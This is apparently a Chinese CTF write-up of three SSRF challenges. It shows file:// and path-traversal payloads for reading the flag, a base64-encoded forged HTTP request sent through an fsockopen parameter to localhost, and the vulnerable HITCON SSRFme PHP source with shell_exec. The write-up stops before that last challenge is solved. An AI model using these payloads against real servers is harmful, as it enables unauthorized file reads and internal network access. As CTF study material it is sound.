[NISACTF 2022]easyssrf

0x01

这道题的思路比较简单

就是使用ssrf访问文件

给了一个接口，那么就直接访问

跟着他走

file:////fl4g

访问它指定的路径

出现了

file_get_contents

0x02

通过这个函数，我们可以直接访问文件

他又说了文件在flag，所以就直接访问flag

建议直接尝试比较长的路径

?file=../../../../../../../flag

[HNCTF 2022 WEEK2]ez_ssrf已解决

[HNCTF 2022 WEEK2]ez_ssrf | NSSCTF

0x00

访问他给的地址，然后发现这个

出现了

fsockopen()

那就构造数据发送

0x01

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

data

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close

得到flag

这里就相当于是伪造了一个请求，请求了服务端，但是这个host和port不是很理解

[HITCON 2017]SSRFme

这道题需要代码审计

访问，出现了源代码

<?php
   if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
       $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
       $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
   }

   echo $_SERVER["REMOTE_ADDR"];// 以上的只是为了告诉我们ip地址，也就是下面加密需要用到的东西

   $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//这个是加密路径，相当于url文件访问路径，有了上面的ip就可以计算出这个值
   @mkdir($sandbox);//创建目录
   @chdir($sandbox);//将当前php的目录改为这个

   $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
   $info = pathinfo($_GET["filename"]);
   $dir  = str_replace(".", "", basename($info["dirname"]));
   @mkdir($dir);
   @chdir($dir);
   @file_put_contents(basename($info["basename"]), $data);
   highlight_file(__FILE__);